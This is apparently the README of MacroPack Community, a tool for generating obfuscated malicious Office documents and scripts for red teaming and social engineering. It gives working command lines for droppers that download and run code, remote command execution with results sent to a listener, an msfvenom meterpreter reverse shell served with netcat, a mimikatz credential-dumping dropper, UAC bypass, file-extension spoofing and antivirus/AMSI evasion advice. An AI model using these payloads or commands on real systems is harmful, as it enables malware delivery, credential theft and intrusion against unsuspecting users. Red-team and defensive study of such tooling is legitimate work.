Short description

Warning: MacroPack is not maintained since 2021, if you are a pro and need Offensive infosec tools for initial access, assume breach, EDR bypass, check https://www.balliskit.com

MacroPack Community is a tool used to automatize obfuscation and generation of retro formats such as MS Office documents or VBS like format. It also handles various shortcuts formats. This tool can be used for red teaming, pentests, demos, and social engineering assessments. MacroPack will simplify antimalware solutions bypass and automatize the process from vb source to final Office document or other payload type. It is very simple to use:

The tool is compatible with payloads generated by popular pentest tools (Metasploit, Empire, ...). It is also easy to combine with other tools as it is possible to read input from stdin and have a quiet output to another tool. T his tool is written in Python3 and works on both Linux and Windows platforms

Note: Windows platform with the right MS Office applications installed is required for Office documents automatic generation or trojan features.

Obfuscation

The tool will use various obfuscation techniques, all automatic. Obfuscation features are compatible with all VBA and VBS based format which can be generated by MacroPack.
Basic obfuscation (-o option) includes:

Generation

MacroPack can generate several kinds of MS office documents and scripts formats. The format will be automatically guessed depending on the given file extension. File generation is done using the option --generate or -G.

MacroPack pro version also allows you to trojan existing Office files with option --trojan or -T.

Ms Office Supported formats are:

Scripting (txt) supported formats are:

Shortcuts/Shell supported formats are:

Note that all scripting and shortcuts formats (except LNK) can be generated on Linux version of MacroPack as well.

About pro mode...

Not all capabilities and options of MacroPack are available on MacroPack Community. Only the community version is available online. Features of the pro version are truly "weaponizing" the process, hence their access is restricted to professionals.
The pro mode includes features such as:

Some short demo videos are available on the BallisKit Vimeo channel.

All community version options

 Main payload generation options:
    -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
        MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
        Note: Office payload generation requires that MS Office application is installed on the machine
    --listformats View all file formats which can be generated by MacroPack
    -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
        If no input file is provided, input must be passed via stdin (using a pipe).
    -t, --template=TEMPLATE_NAME    Use code template already included in MacroPack
        MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
    --listtemplates View all templates provided by MacroPack
    -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
        Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.


 Security bypass options:
    -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
    --obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
        Choose between: alpha, alphanum, complete or provide the list of char you want
    --obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
    --obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
    --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates


 Other options:
    -q, --quiet Do not display anything on screen, just process request.
    -p, --print Display result file on stdout (will display VBA for Office formats)
        Combine this option with -q option to pipe result into another program
        ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
    -s, --start-function=START_FUNCTION   Entry point of macro file
        Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open  as the start function
    --icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
    --dde  Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
        This option is only compatible with Excel formats.
    --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
        This will trigger AutoOpen/Workbook_Open automatically.
        If no auto start function, use --start-function option to indicate which macro to run.
    --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
            Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
            In this case, windows or linux explorers will show the file named as: somethingath.jpg
    -l, --listen=ROOT_PATH      Open an HTTP server from ROOT_PATH listening on default port 80.
    -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
    --port=PORT Specify the listening port for HTTP and WebDAV servers.


    -h, --help   Displays help and exit

Template usage

Templates can be called using -t, --template=TEMPLATE_NAME combined with other options.
Here are all the available templates.

HELLO

Just print a hello message and awareness about macro.
Give this template the name or email of the author:
-> Example: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm

CMD

Execute a command.
Give this template a command line
-> Example (pop calc.exe from and xslt file): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl

REMOTE_CMD

Execute a command line and send results to remote HTTP server.
Give this template the server url and the command to run:

-> Example: echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc

# Catch result with any webserver or netcat
nc -l -p 7777

DROPPER

Download and execute a file.
Give this template the file url and the target file path
-> Example: echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls

DROPPER_PS

Download and execute Powershell script using rundll32 (to bypass blocked powershell.exe).
Note: This payload will download PowerShdll from Github.
Give this template the url of the powershell script you want to run:
-> Example: echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc

DROPPER_DLL

Download a DLL with another extension and run it using Office VBA.
-> Example, load meterpreter DLL using Office:

REM Generate meterpreter dll payload
msfvenom.bat  -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls

METERPRETER

Meterpreter reverse TCP template using MacroMeter by Cn33liz.
This template is CSharp meterpreter Stager build by Cn33liz and embedded within VBA using DotNetToJScript from James Forshaw.
Give this template the IP and PORT of listening mfsconsole:
-> Example: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm

This template also generates a meterpreter.rc file to create the Metasploit handler
-> Example: msfconsole -r meterpreter.rc

EMBED_EXE

Drop and execute an embedded file.
Combine with --embed option, it will drop and execute the embedded file with random name under TEMP folder.
-> Example: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs

EMBED_DLL

Combine with --embed option, it will drop and call a function in the given DLL.
Give this template the name and parameters of function to call in DLL
-> Example1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Example2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta

Efficiency

The various features were tested against locally installed Antimalware solutions as well as online services. I ran multiple tests with several kinds of payloads and MacroPack features. A majority of antivirus static will be evaded by the simple "obfuscate" option. However, as most free tools, payloads are generally caught by behavioural analysis such as AMSI. Features available in MacroPack pro mode generally permit full AV bypass including AMSI.

Warning: Do not submit your samples to online scanners (ex VirusTotal), It's the best way to break your stealth macro. I also suggest you do not submit to non-reporting sites such as NoDistribute. You cannot be sure what these sites will do with the data you submit. If you have an issue with macro_pack AV detection, you can write to us for advice or submit an issue or pull request.
